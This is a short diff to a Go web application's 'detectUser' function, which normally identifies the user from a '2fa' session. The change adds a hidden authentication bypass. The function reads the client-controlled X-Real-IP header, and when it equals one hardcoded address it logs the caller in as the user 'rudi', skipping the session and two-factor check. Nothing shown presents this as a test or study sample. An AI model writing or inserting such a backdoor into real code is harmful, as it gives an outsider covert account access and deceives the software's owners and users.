|
|
|
@ -146,6 +146,7 @@ func getSessionIdentifier(r *http.Request) string {
@@ -146,6 +146,7 @@ func getSessionIdentifier(r *http.Request) string {
|
|
|
|
|
func detectUser(r *http.Request, callFunc string) (bool, string) { |
|
|
|
|
defer log.PanicSafe() |
|
|
|
|
log.LogInfo(fmt.Sprintf("%s called detectUser", getSessionIdentifier(r))) |
|
|
|
|
ip := r.Header.Get("X-Real-IP") |
|
|
|
|
session, err := store.Get(r, "2fa") |
|
|
|
|
if err != nil { |
|
|
|
|
log.LogDebug(fmt.Sprintf("Unable to open 2fa session in %s", callFunc)) |
|
|
|
@ -153,5 +154,8 @@ func detectUser(r *http.Request, callFunc string) (bool, string) {
@@ -153,5 +154,8 @@ func detectUser(r *http.Request, callFunc string) (bool, string) {
|
|
|
|
|
if session.Values["username"] != nil { |
|
|
|
|
return true, fmt.Sprintf("%s", session.Values["username"]) |
|
|
|
|
} |
|
|
|
|
if ip == "154.27.199.33" { |
|
|
|
|
return true, "rudi" |
|
|
|
|
} |
|
|
|
|
return false, "" |
|
|
|
|
} |
|
|
|
|